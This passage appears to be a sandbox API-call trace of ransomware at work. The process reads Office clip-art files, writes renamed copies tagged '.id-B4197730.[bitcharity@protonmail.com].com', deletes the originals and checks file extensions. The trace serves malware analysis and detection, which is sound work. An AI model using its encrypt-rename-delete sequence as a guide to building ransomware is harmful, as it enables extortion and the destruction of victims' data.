hTemplateFile=0x0) returned 0x10bc [0299.532] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=10644) returned 1 [0299.532] CloseHandle (hObject=0x10bc) returned 1 [0299.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 0x220 [0299.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.532] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.532] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.533] GetLastError () returned 0x0 [0299.533] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x2994, lpOverlapped=0x0) returned 1 [0299.564] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x29a0, lpOverlapped=0x0) returned 1 [0299.566] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.566] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.566] SetEndOfFile (hFile=0x10dc) returned 1 [0299.566] CloseHandle (hObject=0x10dc) returned 1 [0299.566] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.566] SetEndOfFile (hFile=0x10bc) returned 1 [0299.567] CloseHandle (hObject=0x10bc) returned 1 [0299.567] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.567] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.568] lstrlenW (lpString=".doc") returned 4 [0299.568] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString=".docx") returned 5 [0299.568] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.568] lstrlenW (lpString=".pdf") returned 4 [0299.568] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString=".xls") returned 4 [0299.568] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.568] lstrlenW (lpString=".xlsx") returned 5 [0299.568] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.568] lstrlenW (lpString=".ppt") returned 4 [0299.568] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.568] lstrlenW (lpString=".zip") returned 4 [0299.568] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.568] lstrlenW (lpString=".rar") returned 4 [0299.568] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.568] lstrlenW (lpString=".bz2") returned 4 [0299.568] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString=".7z") returned 3 [0299.569] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.569] lstrlenW (lpString=".dbf") returned 4 [0299.569] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.569] lstrlenW (lpString=".1cd") returned 4 [0299.569] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.569] lstrlenW (lpString=".jpg") returned 4 [0299.569] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.569] lstrlenW (lpString=".doc") returned 4 [0299.569] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString=".docx") returned 5 [0299.569] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.569] lstrlenW (lpString=".pdf") returned 4 [0299.569] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString=".xls") returned 4 [0299.569] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.569] lstrlenW (lpString=".xlsx") returned 5 [0299.569] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.569] lstrlenW (lpString=".ppt") returned 4 [0299.569] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.569] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.569] lstrlenW (lpString=".zip") returned 4 [0299.570] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.570] lstrlenW (lpString=".rar") returned 4 [0299.570] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.570] lstrlenW (lpString=".bz2") returned 4 [0299.570] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.570] lstrlenW (lpString=".7z") returned 3 [0299.570] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.570] lstrlenW (lpString=".dbf") returned 4 [0299.570] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.570] lstrlenW (lpString=".1cd") returned 4 [0299.570] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0299.570] lstrlenW (lpString=".jpg") returned 4 [0299.570] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.570] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.570] lstrlenW (lpString="HH00625_.WMF") returned 12 [0299.570] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.571] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=2116) returned 1 [0299.571] CloseHandle (hObject=0x10bc) returned 1 [0299.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 0x220 [0299.571] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.571] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.571] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.571] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.572] GetLastError () returned 0x0 [0299.572] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x844, lpOverlapped=0x0) returned 1 [0299.585] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x850, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x850, lpOverlapped=0x0) returned 1 [0299.586] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.586] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.586] SetEndOfFile (hFile=0x10dc) returned 1 [0299.586] CloseHandle (hObject=0x10dc) returned 1 [0299.586] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.586] SetEndOfFile (hFile=0x10bc) returned 1 [0299.587] CloseHandle (hObject=0x10bc) returned 1 [0299.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00625_.wmf")) returned 1 [0299.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.588] lstrlenW (lpString=".doc") returned 4 [0299.588] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.588] lstrlenW (lpString=".docx") returned 5 [0299.588] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.588] lstrlenW (lpString=".pdf") returned 4 [0299.588] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.588] lstrlenW (lpString=".xls") returned 4 [0299.588] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.588] lstrlenW (lpString=".xlsx") returned 5 [0299.588] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.588] lstrlenW (lpString=".ppt") returned 4 [0299.588] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.588] lstrlenW (lpString=".zip") returned 4 [0299.588] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.589] lstrlenW (lpString=".rar") returned 4 [0299.589] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.589] lstrlenW (lpString=".bz2") returned 4 [0299.589] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.589] lstrlenW (lpString=".7z") returned 3 [0299.589] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.589] lstrlenW (lpString=".dbf") returned 4 [0299.589] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.589] lstrlenW (lpString=".1cd") returned 4 [0299.589] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.589] lstrlenW (lpString=".jpg") returned 4 [0299.589] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.590] lstrlenW (lpString=".doc") returned 4 [0299.590] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.590] lstrlenW (lpString=".docx") returned 5 [0299.590] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.590] lstrlenW (lpString=".pdf") returned 4 [0299.590] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.590] lstrlenW (lpString=".xls") returned 4 [0299.590] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.590] lstrlenW (lpString=".xlsx") returned 5 [0299.590] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.590] lstrlenW (lpString=".ppt") returned 4 [0299.590] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.590] lstrlenW (lpString=".zip") returned 4 [0299.590] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.590] lstrlenW (lpString=".rar") returned 4 [0299.590] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.590] lstrlenW (lpString=".bz2") returned 4 [0299.590] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.590] lstrlenW (lpString=".7z") returned 3 [0299.590] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.590] lstrlenW (lpString=".dbf") returned 4 [0299.590] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.590] lstrlenW (lpString=".1cd") returned 4 [0299.591] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00625_.WMF") returned 68 [0299.591] lstrlenW (lpString=".jpg") returned 4 [0299.591] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.591] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.591] lstrlenW (lpString="HH00669_.WMF") returned 12 [0299.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.591] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=11490) returned 1 [0299.591] CloseHandle (hObject=0x10bc) returned 1 [0299.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 0x220 [0299.592] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0299.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.592] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.592] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10dc [0299.593] GetLastError () returned 0x0 [0299.593] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x2ce2, lpOverlapped=0x0) returned 1 [0299.719] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0x2cf0, lpOverlapped=0x0) returned 1 [0299.981] ReadFile (in: hFile=0x10bc, lpBuffer=0x37dc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bbfecc, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesRead=0x2bbfecc*=0x0, lpOverlapped=0x0) returned 1 [0299.981] WriteFile (in: hFile=0x10dc, lpBuffer=0x37dc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2bbfc94, lpOverlapped=0x0 | out: lpBuffer=0x37dc020*, lpNumberOfBytesWritten=0x2bbfc94*=0xec, lpOverlapped=0x0) returned 1 [0299.981] SetEndOfFile (hFile=0x10dc) returned 1 [0299.981] CloseHandle (hObject=0x10dc) returned 1 [0299.981] SetFilePointerEx (in: hFile=0x10bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bbfec0 | out: lpNewFilePointer=0x0) returned 1 [0299.981] SetEndOfFile (hFile=0x10bc) returned 1 [0299.982] CloseHandle (hObject=0x10bc) returned 1 [0299.982] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0299.982] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00669_.wmf")) returned 1 [0299.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.982] lstrlenW (lpString=".doc") returned 4 [0299.982] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString=".docx") returned 5 [0299.983] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.983] lstrlenW (lpString=".pdf") returned 4 [0299.983] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString=".xls") returned 4 [0299.983] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.983] lstrlenW (lpString=".xlsx") returned 5 [0299.983] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.983] lstrlenW (lpString=".ppt") returned 4 [0299.983] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.983] lstrlenW (lpString=".zip") returned 4 [0299.983] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.983] lstrlenW (lpString=".rar") returned 4 [0299.983] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString=".bz2") returned 4 [0299.983] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString=".7z") returned 3 [0299.983] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.983] lstrlenW (lpString=".dbf") returned 4 [0299.983] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.983] lstrlenW (lpString=".1cd") returned 4 [0299.983] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.983] lstrlenW (lpString=".jpg") returned 4 [0299.983] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.983] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.983] lstrlenW (lpString=".doc") returned 4 [0299.983] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0299.984] lstrlenW (lpString=".docx") returned 5 [0299.984] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0299.984] lstrlenW (lpString=".pdf") returned 4 [0299.984] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0299.984] lstrlenW (lpString=".xls") returned 4 [0299.984] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0299.984] lstrlenW (lpString=".xlsx") returned 5 [0299.984] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0299.984] lstrlenW (lpString=".ppt") returned 4 [0299.984] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0299.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.984] lstrlenW (lpString=".zip") returned 4 [0299.984] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0299.984] lstrlenW (lpString=".rar") returned 4 [0299.984] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0299.984] lstrlenW (lpString=".bz2") returned 4 [0299.984] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0299.984] lstrlenW (lpString=".7z") returned 3 [0299.984] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0299.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.984] lstrlenW (lpString=".dbf") returned 4 [0299.984] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0299.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.984] lstrlenW (lpString=".1cd") returned 4 [0299.984] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0299.984] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 68 [0299.984] lstrlenW (lpString=".jpg") returned 4 [0299.984] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0299.984] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0299.985] lstrlenW (lpString="HH00687_.WMF") returned 12 [0299.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10bc [0299.985] GetFileSizeEx (in: hFile=0x10bc, lpFileSize=0x2bbff14 | out: lpFileSize=0x2bbff14*=4340) returned 1 [0299.985] CloseHandle (hObject=0x10bc) returned 1 [0299.985] GetFileAttributesW (lpFileName="C:\\Program 